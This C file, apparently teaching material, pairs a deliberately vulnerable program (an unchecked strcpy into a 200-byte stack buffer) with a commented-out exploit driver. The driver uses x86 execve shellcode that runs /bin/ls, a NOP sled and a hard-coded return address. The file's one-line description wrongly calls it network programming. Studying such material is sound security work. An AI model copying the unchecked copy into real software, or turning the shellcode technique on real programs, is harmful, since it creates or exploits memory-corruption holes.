vulnerable.c

this gives details of the network programming

#include <string.h>
#include <stdio.h>

unsigned long get_sp(void) {
  __asm__("movl %esp,%eax");
}

void foo( char *s ) {
  char name[200];
  //  printf("sp is %x\n",get_sp());
  strcpy(name,s);
  printf("Name is %s\n",name);
}


int main(void) {
  char buf[10000];
  int n;

  n=read(0,buf,2000);
  printf("read in %d bytes\n",n);
  printf("Strlen is %d\n",strlen(buf));
  foo(buf);
  printf("Done\n");
}

/*
unsigned char pgm[] = 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/ls"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90";


unsigned char buff[2000];
unsigned int target = 0xbffff8f4;  


int main(int argc, char **argv) {
  int i;
  int n = strlen(pgm);


  if (argc!=2) {
    printf("Error - need an offset\n");
    exit();
  }

  printf("n is %d\n",n);


  target += atoi(argv[1]);

  printf("using %x\n",target);

  memcpy(buff,pgm,n);
  //  write(1,pgm,sizeof(pgm));
  for (i=0;i<10;i++) {
    //    write(1,&target,4);
    printf("Address is %x\n",buff+n+i*4);
    memcpy(buff+n+i*4,&target,4);
  }
  foo(buff);
  printf("Done\n");
}

*/